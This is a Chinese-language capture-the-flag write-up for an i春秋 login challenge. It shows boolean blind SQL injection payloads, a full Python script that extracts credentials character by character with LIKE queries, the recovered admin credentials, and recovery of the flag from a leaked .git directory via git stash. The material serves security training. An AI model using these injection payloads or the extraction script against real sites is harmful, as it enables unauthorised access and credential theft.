i春秋-登陆(sql盲注爆字段,.git缓存利用)
练习平台地址
竞赛中心
题目描述
先登陆再说
题目内容
就是一个登录框
测试登录
用户名:admin' or 1=1#
密码:随便输
返回密码错误
用户名:随便输
密码:随便输
返回用户名不存在
这里就可以确定时一个bool盲注了
这里提供一个like注入的python脚本
代码逻辑就是给出一个列表,用列表中的字符不断拼接内容作为payload
#-*- coding:utf-8 -*-
from urllib.request import urlopen
from urllib import parse,request
import sys
import threading
url = 'http://eci-2ze7mdt9g8r0p73g7mmo.cloudeci1.ichunqiu.com/Challenges/login.php'
def get_database_length():
for i in range(1,sys.maxsize):
username= "admin' or length(database())>{0}#"
username = username.format(i)
values = {"username":username, 'password':''}
data = parse.urlencode(values).encode('utf-8')
response = request.Request(url, data)
response = urlopen(response)
if len(response.read().decode()) != 4:
print("当前数据库长度为:", i)
return i
def get_database_name():
global lock
lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ")
#后台SQL语句形如:
#select xxx from xxx where username='' or 其他字段=xxx#
#我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段
username="admin' or p3ss_w0rd like '{0}%'#"
# username="admin' or p3ss_w0rd like '{0}%'#"
database=''
print("Start to retrive the database")
while True:
curId=0
while True:
if curId == len(lit):
break
i = curId
curId += 1
un=username.format(database+lit[i])
print(un)
values = {"username":un, 'password':''}
data = parse.urlencode(values).encode('utf-8')
response = request.Request(url, data)
response = urlopen(response)
if len(response.read().decode()) == 4:
database=database+lit[i]
print("the database is :%s" % database)
break
if curId == len(lit):
print(database)
break
#print(get_database_length())
get_database_name()
关键部分
url的地址改为题目的地址
POST发送的注入语句,检查源代码发现这两个字段很皮,应该是当前数据库中的两个表格
username="admin' or p3ss_w0rd like '{0}%'#"
username="admin' or user_n3me like '{0}%'#"
最后可以跑出用户名和密码
用户名:bctf3dm1n
密码:2bfb1532857ddc0033fdae5bde3facdf #adminqwe123666
成功登录
登录后得到了新的提示——存在.bctfg1t隐藏文件
猜测这里是.git文件泄露
直接上GitHack!!!
查看日志
提示不要怀疑flag就在git,说明不在这里
结合题目提示的缓存
git中与缓存相关的就是stash,我们进入下载下来的网站目录,再进入.git目录,再进如refs目录,之后cat stash:得到一个commit
显示隐藏的项目
查看stash得到commit
git reset --hard commit,之后再查看flag.php
git reset --hard bee231dcc3e136cf01d4b0a075765a9490ecfa87
flag
flag{f075ec24-0710-464d-9458-2b442a2c73a4}
注意事项
1.当尝试ascii获取数据库名字失败,要考虑可能后端对某些字符串进行了过滤,可以尝试使用like盲注来进行替代
2.如果使用information_schema数据库跑表时出现问题,那么很可能是这个被过滤了,我们要去寻找有没有表名的有关信息,不然无法得到结果
3.git中与缓存相关的就是stash,查看stash可以得到一个commit,执行命令git reset --hard commit可以将当前分支的状态强制重置到指定的
commit
(提交)状态